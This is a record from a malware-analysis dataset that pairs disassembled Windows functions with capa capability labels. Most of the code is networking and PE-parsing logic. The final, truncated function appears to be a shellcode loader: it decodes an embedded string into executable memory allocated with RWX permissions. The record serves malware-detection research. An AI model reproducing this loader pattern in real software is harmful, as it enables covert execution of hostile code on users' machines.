joyce8/EMBER2024-capa huggingface dataset:
Function at 0x14007a520
Capabilities:
Resolve dns

Disassembly:
push rbx
push r12
push r13
push r14
push r15
sub rsp, 0x20
xor r13d, r13d
mov r12, r9
mov qword [r9], r13
mov ebx, r13d
lea r9, [rsp + 0x68]
mov r15d, r13d
call qword [sym.imp.WS2_32.dll_getaddrinfo]
mov r14d, eax
test eax, eax
jne 0x14007a6e4
mov qword [rsp + 0x58], rsi
mov rsi, qword [rsp + 0x68]
mov qword [rsp + 0x60], rdi
test rsi, rsi
je 0x14007a6c4
mov qword [rsp + 0x50], rbp
mov eax, dword [rsi + 4]
cmp eax, 2
jne 0x14007a57d
lea ebp, [rax + 0xe]
jmp 0x14007a589
cmp eax, 0x17
jne 0x14007a631
lea ebp, [rax + 5]
cmp qword [rsi + 0x20], r13
je 0x14007a631
mov rax, qword [rsi + 0x10]
test rax, rax
je 0x14007a631
cmp rax, rbp
jb 0x14007a631
mov ecx, Ordinal_50
call qword [sub.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov rdi, rax
test rax, rax
je 0x14007a66c
mov ecx, dword [rsi]
mov dword [rax], ecx
mov ecx, dword [rsi + 4]
mov dword [rax + 4], ecx
mov ecx, dword [rsi + 8]
mov dword [rax + 8], ecx
mov ecx, dword [rsi + 0xc]
mov dword [rax + 0xc], ecx
mov rcx, rbp
mov dword [rax + 0x10], ebp
mov qword [rax + 0x20], r13
mov qword [rax + 0x18], r13
mov qword [rax + 0x28], r13
call qword [sub.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov qword [rdi + 0x20], rax
test rax, rax
je 0x14007a65b
mov rdx, qword [rsi + 0x20]
mov r8, rbp
mov rcx, rax
call sub.VCRUNTIME140.dll_memcpy
mov rcx, qword [rsi + 0x18]
test rcx, rcx
je 0x14007a61e
call qword [str..__n_]
mov qword [rdi + 0x18], rax
test rax, rax
je 0x14007a640
test rbx, rbx
cmove rbx, rdi
test r15, r15
je 0x14007a62e
mov qword [r15 + 0x28], rdi
mov r15, rdi
mov rsi, qword [rsi + 0x28]
test rsi, rsi
jne 0x14007a570
jmp 0x14007a672
mov rcx, qword [rdi + 0x20]
mov r14d, 8
call qword [fcn.1400a1f7a]
mov rcx, rdi
call qword [fcn.1400a1f7a]
jmp 0x14007a672
mov rcx, rdi
mov r14d, 8
call qword [fcn.1400a1f7a]
jmp 0x14007a672
mov r14d, 8
mov rcx, qword [rsp + 0x68]
mov rbp, qword [rsp + 0x50]
test rcx, rcx
je 0x14007a687
call qword [sym.imp.WS2_32.dll_freeaddrinfo]
test r14d, r14d
je 0x14007a6bf
test rbx, rbx
je 0x14007a6ba
mov rcx, qword [rbx + 0x20]
call qword [fcn.1400a1f7a]
mov rcx, qword [rbx + 0x18]
call qword [fcn.1400a1f7a]
mov rdi, qword [rbx + 0x28]
mov rcx, rbx
call qword [fcn.1400a1f7a]
mov rbx, rdi
test rdi, rdi
jne 0x14007a691
mov rbx, r13
jmp 0x14007a6d3
test rbx, rbx
jne 0x14007a6d3
mov r14d, 0x2af9
mov ecx, r14d
call qword [sym.imp.WS2_32.dll_WSASetLastError]
mov rdi, qword [rsp + 0x60]
mov eax, r14d
mov rsi, qword [rsp + 0x58]
mov qword [r12], rbx
add rsp, 0x20
pop r15
pop r14
pop r13
pop r12
pop rbx
ret

Function at 0x14007aba0
Capabilities:
Create thread

Disassembly:
push rbx
sub rsp, 0x30
xor ebx, ebx
mov r9, rdx
mov r8, rcx
mov qword [rsp + 0x28], rbx
xor edx, edx
mov dword [rsp + 0x20], ebx
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__beginthreadex]
lea rcx, [rax - 1]
cmp rcx, 0xfffffffffffffffd
cmovbe rbx, rax
mov rax, rbx
add rsp, 0x30
pop rbx
ret
Function at 0x14007dd90
Capabilities:
Query environment variable

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push r14
sub rsp, 0x20
mov r14, rcx
mov ebx, 1
mov edx, ebx
xor ecx, ecx
xor ebp, ebp
call qword [0x1400c9030]
mov rdi, rax
test rax, rax
je 0x14007de0d
nop word [rax + rax]
mov r8d, ebx
mov rdx, rdi
mov rcx, r14
mov rbp, rdi
mov esi, ebx
call qword [sym.imp.KERNEL32.dll_GetEnvironmentVariableA]
mov ebx, eax
test eax, eax
je 0x14007de38
cmp ebx, esi
je 0x14007de38
cmp ebx, 0x8000
ja 0x14007de38
cmp ebx, esi
jb 0x14007de33
mov edx, ebx
mov rcx, rdi
call qword [0x1400c9030]
mov rdi, rax
test rax, rax
jne 0x14007ddd0
mov rcx, rbp
call qword [fcn.1400a1f7a]
xor eax, eax
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
mov rdi, qword [rsp + 0x48]
add rsp, 0x20
pop r14
ret
mov rax, rdi
jmp 0x14007de18
mov rcx, rdi
jmp 0x14007de10

Function at 0x140084210
Capabilities:
Get local ipv4 addresses
Get socket information

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rbp
mov qword [rsp + 0x20], rsi
push rdi
sub rsp, 0xc0
mov rax, qword [0x1400c9098]
xor rax, rsp
mov qword [rsp + 0xb0], rax
mov rbp, qword [rcx + 0x4c8]
lea r8, [rsp + 0x20]
mov rsi, qword [rcx]
lea rdx, [rsp + 0x30]
mov rdi, rcx
mov dword [rsp + 0x20], 0x80
mov rcx, rbp
mov rbx, 0xffffffffffffffff
call qword [sym.imp.WS2_32.dll_getsockname]
test eax, eax
jne 0x14008428a
lea r8, [rsp + 0x20]
mov dword [rsp + 0x20], 0x80
lea rdx, [rsp + 0x30]
mov rcx, rbp
call qword [sym.imp.WS2_32.dll_accept]
mov rbx, rax
mov rdx, rbp
mov rcx, rdi
call fcn.140069190
mov rcx, rsi
cmp rbx, 0xffffffffffffffff
jne 0x1400842af
lea rdx, str.Error_accept__ing_server_connect
call fcn.140068530
lea eax, [rbx + 0x1f]
jmp 0x140084328
lea rdx, str.Connection_accepted_from_server_n
call fcn.1400686b0
mov edx, 1
mov byte [rdi + 0x660], 0
mov rcx, rbx
mov qword [rdi + 0x4c8], rbx
call fcn.140076ae0
mov byte [rdi + 0xb2c], 1
cmp qword [rsi + 0x728], 0
je 0x140084326
mov dl, 1
mov rcx, rsi
call fcn.140058f90
mov rcx, qword [rsi + 0x730]
mov r8d, 1
mov rdx, rbx
call qword [rsi + 0x728]
xor edx, edx
mov rcx, rsi
mov ebx, eax
call fcn.140058f90
test ebx, ebx
je 0x140084326
mov rcx, rdi
call fcn.140084840
mov eax, Ordinal_46
jmp 0x140084328
xor eax, eax
mov rcx, qword [rsp + 0xb0]
xor rcx, rsp
call fcn.1400a0dd0
lea r11, [rsp + 0xc0]
mov rbx, qword [r11 + 0x18]
mov rbp, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rsp, r11
pop rdi
ret

Function at 0x140085320
Capabilities:
Get local ipv4 addresses
Get socket information

Disassembly:
push rbx
sub rsp, 0x20
mov rax, qword [rcx]
mov rbx, rcx
add rcx, 0xa00
cmp byte [rax + 0xf09], 0
jne 0x140085345
cmp dword [rax + 0x9f8], 0
je 0x140085371
mov r8, qword [rcx + 0x88]
test r8, r8
je 0x140085371
lea rdx, str.MDTM__s
call fcn.14009c370
test eax, eax
jne 0x14008537e
mov dword [rbx + 0xab8], 0x12
add rsp, 0x20
pop rbx
ret
mov rcx, rbx
add rsp, 0x20
pop rbx
jmp fcn.1400861b0
add rsp, 0x20
pop rbx
ret
Function at 0x140085b30
Capabilities:
Get local ipv4 addresses
Get socket information

Disassembly:
push rbx
sub rsp, 0x20
mov rbx, rcx
mov rcx, qword [rcx]
mov rax, qword [rcx + 0x1e0]
cmp dword [rax + 0x10], 0
je 0x140085b68
mov r8d, reloc.WS2_32.dll_listen
mov dword [rbx + 0xab8], 0xd
mov dl, 1
mov rcx, rbx
add rsp, 0x20
pop rbx
jmp fcn.140085c80
cmp byte [rcx + 0xf0e], 0
je 0x140085b80
xor edx, edx
mov rcx, rbx
add rsp, 0x20
pop rbx
jmp fcn.140086670
cmp byte [rcx + 0xf11], 0
je 0x140085c21
mov r8, qword [rbx + 0xa88]
test r8, r8
jne 0x140085bdb
mov r8, qword [rcx + 0xc08]
test r8, r8
jne 0x140085bbe
cmp byte [rcx + 0xf0d], 0
lea rax, str.NLST
lea r8, str.LIST
cmovne r8, rax
lea rcx, [rbx + 0xa00]
lea rdx, str.PRET__s
call fcn.14009c370
test eax, eax
je 0x140085c11
add rsp, 0x20
pop rbx
ret
cmp byte [rcx + 0xf1d], 0
lea rcx, [rbx + 0xa00]
je 0x140085c01
lea rdx, str.PRET_STOR__s
call fcn.14009c370
test eax, eax
je 0x140085c11
add rsp, 0x20
pop rbx
ret
lea rdx, str.PRET_RETR__s
call fcn.14009c370
test eax, eax
jne 0x140085c2e
mov dword [rbx + 0xab8], 0x1d
add rsp, 0x20
pop rbx
ret
mov rcx, rbx
add rsp, 0x20
pop rbx
jmp fcn.1400865e0
add rsp, 0x20
pop rbx
ret

Function at 0x140085f70
Capabilities:
Get local ipv4 addresses
Get socket information

Disassembly:
push rbx
sub rsp, 0x20
mov rax, qword [rcx]
mov rbx, rcx
mov rdx, qword [rax + 0x1e0]
cmp dword [rdx + 0x10], 0
je 0x140085fbd
cmp qword [rcx + 0xa88], 0
je 0x140085fbd
add rcx, 0xa00
lea rdx, str.REST__d
xor r8d, r8d
call fcn.14009c370
test eax, eax
jne 0x140085fc7
mov dword [rbx + 0xab8], 0x1a
add rsp, 0x20
pop rbx
ret
add rsp, 0x20
pop rbx
jmp fcn.140085b30
add rsp, 0x20
pop rbx
ret

Function at 0x140086150
Capabilities:
Get local ipv4 addresses
Get socket information

Disassembly:
push rbx
sub rsp, 0x20
mov rbx, rcx
add rcx, 0xa00
mov rax, qword [rbx]
mov rdx, qword [rax + 0x1e0]
cmp dword [rdx + 0x10], 1
jne 0x14008619c
mov r8, qword [rcx + 0x88]
test r8, r8
je 0x14008619c
lea rdx, str.SIZE__s
call fcn.14009c370
test eax, eax
jne 0x1400861a9
mov dword [rbx + 0xab8], 0x17
add rsp, 0x20
pop rbx
ret
mov rcx, rbx
add rsp, 0x20
pop rbx
jmp fcn.140085f70
add rsp, 0x20
pop rbx
ret

Function at 0x1400861b0
Capabilities:
Get local ipv4 addresses
Get socket information

Disassembly:
mov r9, qword [rcx]
cmp byte [r9 + 0xf1c], 0
je 0x140086208
cmp qword [rcx + 0xa88], 0
je 0x140086208
cmp byte [r9 + 0xf0b], 0
mov eax, 0x41
mov edx, 0x49
cmovne edx, eax
movsx eax, byte [rcx + 0xaa8]
cmp eax, edx
je 0x140086208
mov rax, qword [r9 + 0x1e0]
mov r8d, reloc.WS2_32.dll_send
mov dword [rax + 0x10], 1
movzx edx, byte [r9 + 0xf0b]
jmp fcn.140084a50
jmp fcn.140086150
Function at 0x140086210
Capabilities:
Check http status code

Disassembly:
push rbx
push rsi
push rdi
sub rsp, 0x30
xor ebx, ebx
lea eax, [rdx - 0xc8]
mov rdi, rcx
mov rcx, qword [rcx]
mov esi, r8d
cmp eax, 0x64
jb 0x140086245
lea rdx, str.Couldnt_set_desired_mode
call fcn.140068530
lea eax, [rbx + 0x11]
add rsp, 0x30
pop rdi
pop rsi
pop rbx
ret
cmp edx, 0xc8
je 0x14008625c
mov r8d, edx
lea rdx, str.Got_a__03d_response_code_instead_of_the_assumed_200_n
call fcn.1400686b0
mov qword [rsp + 0x58], rbp
mov qword [rsp + 0x60], r14
cmp esi, 0x13
jne 0x140086278
mov rcx, rdi
call fcn.140086150
jmp 0x1400863af
cmp esi, 0x14
jne 0x140086391
mov rsi, qword [rdi]
mov rbp, rbx
cmp dword [rsi + 0xba0], 2
jne 0x1400862f9
mov rax, qword [rsi + 0x1e0]
mov rdx, qword [rax]
test rdx, rdx
je 0x1400862f9
mov byte [rsp + 0x28], 1
lea r9, [rsp + 0x50]
xor r8d, r8d
mov qword [rsp + 0x20], rbx
mov rcx, rsi
mov qword [rsp + 0x50], rbx
call fcn.140051e50
test eax, eax
jne 0x1400863af
mov rcx, qword [rsp + 0x50]
lea edx, [rax + 0x2f]
call sub.VCRUNTIME140.dll_strrchr
test rax, rax
je 0x1400862ee
mov rbp, qword [rsp + 0x50]
mov ecx, 1
sub rax, rbp
cmovne rcx, rax
mov byte [rcx + rbp], bl
jmp 0x1400862f9
mov rcx, qword [rsp + 0x50]
call qword [fcn.1400a1f7a]
mov rdx, qword [rsi + 0xc08]
test rdx, rdx
jne 0x14008631d
cmp byte [rsi + 0xf0d], bl
lea rax, str.NLST
lea rdx, str.LIST
cmovne rdx, rax
lea r8, [0x1400b43e6]
test rbp, rbp
mov r9, r8
lea rax, [0x1400b9d10]
cmovne r9, rbp
lea rcx, [0x1400aa340]
cmovne r8, rax
call fcn.140056ec0
mov rcx, rbp
mov r14, rax
call qword [fcn.1400a1f7a]
test r14, r14
jne 0x14008635c
lea ebx, [r14 + 0x1b]
jmp 0x1400863b1
lea rcx, [rdi + 0xa00]
mov r8, r14
lea rdx, [0x1400b5218]
call fcn.14009c370
mov rcx, r14
mov esi, eax
call qword [fcn.1400a1f7a]
test esi, esi
je 0x140086385
mov ebx, esi
jmp 0x1400863b1
mov dword [rdi + 0xab8], 0x1f
jmp 0x1400863b1
cmp esi, 0x15
jne 0x14008639c
lea r8d, [rsi - 8]
jmp 0x1400863a5
cmp esi, 0x16
jne 0x1400863b1
lea r8d, [rsi - 8]
mov dl, 1
mov rcx, rdi
call fcn.140085c80
mov ebx, eax
mov r14, qword [rsp + 0x60]
mov eax, ebx
mov rbp, qword [rsp + 0x58]
add rsp, 0x30
pop rdi
pop rsi
pop rbx
ret
Function at 0x14008bca0
Capabilities:
Write file on windows

Disassembly:
sub rsp, 0x38
cmp byte [rcx + 0xf1e], 0
movsxd r10, r9d
je 0x14008bdc4
cmp r8d, 0xff
jne 0x14008bd01
lea eax, [r10 - 0xec]
cmp eax, 0x13
ja 0x14008bceb
lea r8, [0x140000000]
mov r9, qword [r8 + r10*8 + 0xb0670]
mov r8, rdx
lea rdx, str._s_IAC__s_n
add rsp, 0x38
jmp fcn.1400686b0
mov r8, rdx
mov r9d, r10d
lea rdx, str._s_IAC__d_n
add rsp, 0x38
jmp fcn.1400686b0
cmp r8d, 0xfb
jne 0x14008bd13
lea r9, str.WILL
jmp 0x14008bd51
cmp r8d, 0xfc
jne 0x14008bd25
lea r9, str.WONT
jmp 0x14008bd51
cmp r8d, 0xfd
jne 0x14008bd37
lea r9, [0x1400b1094]
jmp 0x14008bd51
xor r9d, r9d
lea rax, str.DONT
cmp r8d, 0xfe
cmove r9, rax
test r9, r9
je 0x14008bdad
cmp r10d, 0x27
jg 0x14008bd84
lea r8, [0x140000000]
mov r8, qword [r8 + r10*8 + 0xb0c90]
test r8, r8
jne 0x14008bd94
mov r8, rdx
mov dword [rsp + 0x20], r10d
lea rdx, str._s__s__d_n
call fcn.1400686b0
add rsp, 0x38
ret
cmp r10d, 0xff
jne 0x14008bd6b
lea r8, str.EXOPL
mov qword [rsp + 0x20], r8
mov r8, rdx
lea rdx, str._s__s__s_n
call fcn.1400686b0
add rsp, 0x38
ret
mov r9d, r8d
mov dword [rsp + 0x20], r10d
mov r8, rdx
lea rdx, str._s__d__d_n
call fcn.1400686b0
add rsp, 0x38
ret

Function at 0x14008c110
Capabilities:
Send data
Send data on socket

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x18], rbp
mov qword [rax + 0x20], rsi
push rdi
sub rsp, 0x20
mov rbp, qword [rcx]
mov edi, r8d
mov esi, edx
mov byte [rax + 0x10], 0xff
xor r9d, r9d
mov byte [rax + 0x11], sil
mov rbx, rcx
mov byte [rax + 0x12], dil
mov rcx, qword [rcx + 0x4c0]
lea rdx, [rax + 0x10]
lea r8d, [r9 + 3]
call qword [sym.imp.WS2_32.dll_send]
test eax, eax
jns 0x14008c16f
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
lea rdx, str.Sending_data_failed___d_
mov rcx, rbp
mov r8d, eax
call fcn.140068530
mov rcx, qword [rbx]
lea rdx, str.SENT
mov r9d, edi
mov r8d, esi
call fcn.14008bca0
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x40]
mov rsi, qword [rsp + 0x48]
add rsp, 0x20
pop rdi
ret
Function at 0x14008c320
Capabilities:
Send data
Send data on socket

Disassembly:
cmp edx, 0x1f
jne 0x14008c4c8
push rbp
push rdi
push r14
sub rsp, 0x20
mov rbp, qword [rcx]
mov r14, rcx
mov qword [rsp + 0x40], rbx
mov qword [rsp + 0x50], rsi
mov qword [rsp + 0x58], r15
mov rdi, qword [rbp + 0x1e0]
lea rsi, [rdi + 0x1cb8]
lea rbx, [rdi + 0x1eb8]
mov qword [rbx], rsi
cmp rsi, rbx
jae 0x14008c385
lea rax, [rsi + 1]
mov byte [rsi], 0xff
mov qword [rbx], rax
cmp rax, rbx
jae 0x14008c385
mov byte [rax], 0xfa
inc qword [rbx]
mov rax, qword [rbx]
cmp rax, rbx
jae 0x14008c385
mov byte [rax], dl
inc qword [rbx]
movzx ecx, word [rdi + 0x1ca8]
call qword [sym.imp.WS2_32.dll_htons]
movzx ecx, word [rdi + 0x1caa]
movzx r15d, ax
mov word [rsp + 0x48], ax
call qword [sym.imp.WS2_32.dll_htons]
mov r9, qword [rbx]
movzx ecx, ax
cmp r9, rbx
jae 0x14008c3bc
mov byte [r9], r15b
inc qword [rbx]
mov r9, qword [rbx]
mov r15, qword [rsp + 0x58]
cmp r9, rbx
jae 0x14008c412
movzx eax, byte [rsp + 0x49]
mov byte [r9], al
inc qword [rbx]
mov r9, qword [rbx]
cmp r9, rbx
jae 0x14008c412
mov byte [r9], cl
inc qword [rbx]
mov r9, qword [rbx]
cmp r9, rbx
jae 0x14008c412
shr cx, 8
mov byte [r9], cl
inc qword [rbx]
mov r9, qword [rbx]
cmp r9, rbx
jae 0x14008c412
mov byte [r9], 0xff
inc qword [rbx]
mov r9, qword [rbx]
cmp r9, rbx
jae 0x14008c412
mov byte [r9], 0xf0
mov r9, qword [rbx]
inc r9
mov qword [rdi + 0x1ec0], r9
lea r8, [rdi + 0x1cba]
sub r9, rsi
mov qword [rbx], rsi
sub r9, 2
mov edx, 0x3e
mov rcx, rbp
call fcn.14008bdd0
mov rcx, qword [r14 + 0x4c0]
xor r9d, r9d
mov rdx, rsi
lea r8d, [r9 + 3]
call qword [sym.imp.WS2_32.dll_send]
mov rsi, qword [rsp + 0x50]
mov rbx, qword [rsp + 0x40]
test eax, eax
jns 0x14008c474
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
lea rdx, str.Sending_data_failed___d_
mov rcx, rbp
mov r8d, eax
call fcn.140068530
lea rdx, [rdi + 0x1cbb]
mov r8d, 4
mov rcx, r14
call fcn.14008c1a0
mov rcx, qword [r14 + 0x4c0]
lea rdx, [rdi + 0x1cbf]
xor r9d, r9d
lea r8d, [r9 + 2]
call qword [sym.imp.WS2_32.dll_send]
test eax, eax
jns 0x14008c4c0
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
lea rdx, str.Sending_data_failed___d_
mov rcx, rbp
mov r8d, eax
call fcn.140068530
add rsp, 0x20
pop r14
pop rdi
pop rbp
ret
Function at 0x14008dc30
Capabilities:
Receive data
Receive data on socket

Disassembly:
push rbx
push rdi
push r14
sub rsp, 0xd0
mov rax, qword [0x1400c9098]
xor rax, rsp
mov qword [rsp + 0xc0], rax
mov rbx, qword [rcx + 0xa00]
lea rax, [rsp + 0x30]
mov rdi, qword [rcx]
mov r14, rcx
mov dword [rsp + 0x30], 0x80
xor r9d, r9d
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x40]
mov r8d, dword [rbx + 0x15c]
mov rdx, qword [rbx + 0x168]
add r8d, 4
mov rcx, qword [rbx + 0x18]
mov qword [rsp + 0x20], rax
call qword [sym.imp.WS2_32.dll_recvfrom]
cmp dword [rbx + 0x150], 0
mov dword [rbx + 0x154], eax
jne 0x14008dcc5
movsxd r8, dword [rsp + 0x30]
lea rcx, [rbx + 0xd0]
lea rdx, [rsp + 0x40]
call sub.VCRUNTIME140.dll_memcpy
mov eax, dword [rsp + 0x30]
mov dword [rbx + 0x150], eax
mov r8d, dword [rbx + 0x154]
mov qword [rsp + 0xf8], rbp
mov qword [rsp + 0x100], rsi
cmp r8d, 4
jge 0x14008dd26
lea rdx, str.Received_too_short_packet
mov rcx, rdi
call fcn.140068530
mov dword [rbx + 0xc], 7
xor eax, eax
mov rsi, qword [rsp + 0x100]
mov rbp, qword [rsp + 0xf8]
mov rcx, qword [rsp + 0xc0]
xor rcx, rsp
call fcn.1400a0dd0
add rsp, 0xd0
pop r14
pop rdi
pop rbx
ret
mov rdx, qword [rbx + 0x168]
movzx eax, byte [rdx]
movzx ecx, byte [rdx + 1]
shl eax, 8
or ecx, eax
mov dword [rbx + 0xc], ecx
sub ecx, 3
je 0x14008dde1
sub ecx, 1
je 0x14008de54
sub ecx, 1
je 0x14008dd90
cmp ecx, 1
je 0x14008dd73
lea r8, str.Internal_error:_Unexpected_packet
mov rcx, rdi
lea rdx, [0x1400b5218]
call fcn.140068530
jmp 0x14008de54
add r8d, 0xfffffffe
add rdx, 2
mov rcx, rbx
call fcn.14008d960
test eax, eax
je 0x14008de54
jmp 0x14008dcfa
movzx ecx, byte [rdx + 2]
lea eax, [r8 - 4]
movsxd rbp, eax
lea rsi, [rdx + 4]
movzx eax, byte [rdx + 3]
mov r8, rbp
shl ecx, 8
xor edx, edx
or ecx, eax
mov dword [rbx + 8], ecx
mov rcx, rsi
call sub.VCRUNTIME140.dll_memchr
test rax, rax
je 0x14008de54
sub rax, rsi
cmp rax, rbp
jae 0x14008de54
mov r8, rsi
lea rdx, str.TFTP_error:__s_n
mov rcx, rdi
call fcn.1400686b0
jmp 0x14008de54
cmp r8d, 4
jle 0x14008de54
movzx eax, byte [rdx + 3]
movzx ecx, byte [rdx + 2]
shl ecx, 8
or ecx, eax
movzx eax, word [rbx + 0x48]
inc eax
movzx eax, ax
cmp eax, ecx
jne 0x14008de54
lea eax, [r8 - 4]
mov rcx, r14
lea r8, [rdx + 4]
movsxd r9, eax
mov edx, 1
call fcn.140068450
mov esi, eax
test eax, eax
je 0x14008de33
mov edx, 5
mov rcx, rbx
call fcn.14008e920
mov eax, esi
jmp 0x14008dcfa
mov eax, dword [rbx + 0x154]
mov rcx, rdi
sub eax, 4
cdqe
add qword [rdi + 0xf8], rax
mov rdx, qword [rdi + 0xf8]
call fcn.140076d50
mov rcx, r14
call fcn.140077030
test eax, eax
je 0x14008dcf8
mov edx, 5
mov rcx, rbx
call fcn.14008e920
mov eax, Ordinal_46
jmp 0x14008dcfa
Function at 0x1400a0bf0
Capabilities:
Authenticate hmac
Encode data using xor

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rdi
push r14
sub rsp, 0x20
mov eax, dword [rcx + 0x18]
mov rbx, rcx
mov ebp, r8d
mov r14, rdx
lea ecx, [rax + rax]
mov eax, dword [rbx + 0x20]
add rax, 0x18
add rcx, rax
call qword [sub.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov rdi, rax
test rax, rax
jne 0x1400a0c32
mov rbx, qword [rsp + 0x50]
add rsp, 0x20
pop r14
pop rdi
pop rbp
ret
lea rcx, [rax + 0x18]
mov qword [rax], rbx
mov qword [rax + 8], rcx
mov eax, dword [rbx + 0x18]
add rax, rcx
mov qword [rsp + 0x48], rsi
mov qword [rdi + 0x10], rax
cmp ebp, dword [rbx + 0x1c]
jbe 0x1400a0c79
call qword [rbx]
mov rcx, qword [rdi + 8]
mov r8d, ebp
mov rdx, r14
call qword [rbx + reloc.WS2_32.dll_htonl]
mov r14d, dword [rbx + 0x18]
add r14, qword [rdi + 0x10]
mov rdx, qword [rdi + 8]
mov rcx, r14
call qword [rbx + reloc.WS2_32.dll_recv]
mov rcx, qword [rdi + 8]
mov ebp, dword [rbx + 0x20]
call qword [rbx]
mov rcx, qword [rdi + 0x10]
call qword [rbx]
xor esi, esi
test rbp, rbp
je 0x1400a0cd2
mov rsi, rbp
nop dword [rax + rax]
movzx eax, byte [r14]
lea rdx, [rsp + 0x40]
xor al, 0x36
mov r8d, 1
mov byte [rsp + 0x40], al
mov rcx, qword [rdi + 8]
call qword [rbx + reloc.WS2_32.dll_htonl]
movzx eax, byte [r14]
lea rdx, [rsp + 0x40]
xor al, 0x5c
lea r14, [r14 + 1]
mov byte [rsp + 0x40], al
mov r8d, 1
mov rcx, qword [rdi + 0x10]
call qword [rbx + reloc.WS2_32.dll_htonl]
sub rbp, 1
jne 0x1400a0c90
mov eax, dword [rbx + 0x1c]
cmp rsi, rax
jae 0x1400a0d13
nop word [rax + rax]
mov rcx, qword [rdi + 8]
lea rdx, [0x1400b4232]
mov r8d, 1
call qword [rbx + reloc.WS2_32.dll_htonl]
mov rcx, qword [rdi + 0x10]
lea rdx, [0x1400b4233]
mov r8d, 1
call qword [rbx + reloc.WS2_32.dll_htonl]
mov eax, dword [rbx + 0x1c]
inc rsi
cmp rsi, rax
jb 0x1400a0ce0
mov rsi, qword [rsp + 0x48]
mov rax, rdi
mov rbx, qword [rsp + 0x50]
add rsp, 0x20
pop r14
pop rdi
pop rbp
ret

Function at 0x1400a1bb0
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x1400a1bfa
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x1400a1bfa
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x1400a1bfa
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x1400a1bfa
cmp dword [rcx + 0x84], 0xe
jbe 0x1400a1bfa
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x1400a1bfc
xor al, al
add rsp, 0x28
ret
Function at 0x1400022b0
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rdx, qword [0x140004630]
xor eax, eax
cmp word [rdx], 0x5a4d
jne 0x1400022d0
movsxd r8, dword [rdx + 0x3c]
add r8, rdx
cmp dword [r8], 0x4550
je 0x1400022d8
ret
cmp word [r8 + 0x18], 0x20b
jne 0x1400022d0
movzx eax, word [r8 + 0x14]
sub rcx, rdx
lea rax, [r8 + rax + 0x18]
movzx r8d, word [r8 + 6]
test r8w, r8w
je 0x14000232d
lea edx, [r8 - 1]
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop word cs:[rax + rax]
mov r8d, dword [rax + 0xc]
mov rdx, r8
cmp rcx, r8
jb 0x140002324
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x1400022d0
add rax, 0x28
cmp rax, r9
jne 0x140002310
xor eax, eax
ret

Function at 0x140002330
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x140004630]
xor ecx, ecx
cmp word [rax], 0x5a4d
jne 0x14000234f
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x140002358
mov eax, ecx
ret
cmp word [rax + 0x18], 0x20b
jne 0x14000234f
movzx ecx, word [rax + 6]
mov eax, ecx
ret

Function at 0x1400023f0
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x140004630]
xor edx, edx
cmp word [rax], 0x5a4d
jne 0x14000240f
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
je 0x140002418
mov rax, rdx
ret
cmp word [rcx + 0x18], 0x20b
cmove rdx, rax
mov rax, rdx
ret

Function at 0x140002d50
Capabilities:
Allocate or change rwx memory
Enumerate gui resources
Execute shellcode via windows callback function

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x2f0
lea rsi, str.2_78z1_CK_fqf06_EFp_pd_nhnL7nqwNk1HPf7pGGqxOd_I_ISTndSg4n__4Znhm_YjyJQsefEl:QHJp.q:WkxpI7VYI:xJ_0NK2Fqsg907.VBz_XJ__:neKJUI:eyR0NP_inDll5NNQncdpog08_vZ_Pr:QHJp.8Qv_JGRGoE6_jiNJ02suYchkQn_4_kEcIWScum2KqInDEg4l5L_4ncd76sv34sZ19_l0lGSnq3mKkN:vsv37_k1HOA__gP_6njp.2KDn06S_kL_oV606T8oGu:107XlaPHqrTnVPYwKXV3phn2Ma_:_KUthcdYY3v_3iBP_xE6ln2a09IQAw_X_wP8AzdNTfaPKVie_QD_00000
call fcn.1400015e0
mov ecx, 0x31
lea rdi, [rsp + 0x160]
mov r8d, 0x18c
rep movsq qword [rdi], qword [rsi]
mov qword [rsp + 0x20], 0
mov qword [rsp + 0x28], 0
mov edx, dword [rsi]
mov rax, rcx
mov ecx, 0x25
lea rsi, [rsp + 0x20]
mov dword [rdi], edx
movzx edx, byte [0x14000428c]
mov byte [rdi + 4], dl
lea rdi, [rsp + 0x30]
mov rdx, rsi
rep stosq qword [rdi], rax
xor eax, eax
lea rcx, [rsp + 0x160]
mov word [rdi], ax
call fcn.1400028b0
mov r9d, 0x40
mov r8d, 0x1000
xor ecx, ecx
mov edx, 0x13a
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rbx, rax
mov rax, qword [rsp + 0x20]
lea rdi, [rbx + 8]
mov rcx, rbx
and rdi, 0xfffffffffffffff8
mov qword [rbx], rax
mov rax, qword [rsp + 0x152]
sub rcx, rdi
sub rsi, rcx
add ecx, 0x13a
mov qword [rbx + 0x132], rax
shr ecx, 3
rep movsq qword [rdi], qword [rsi]
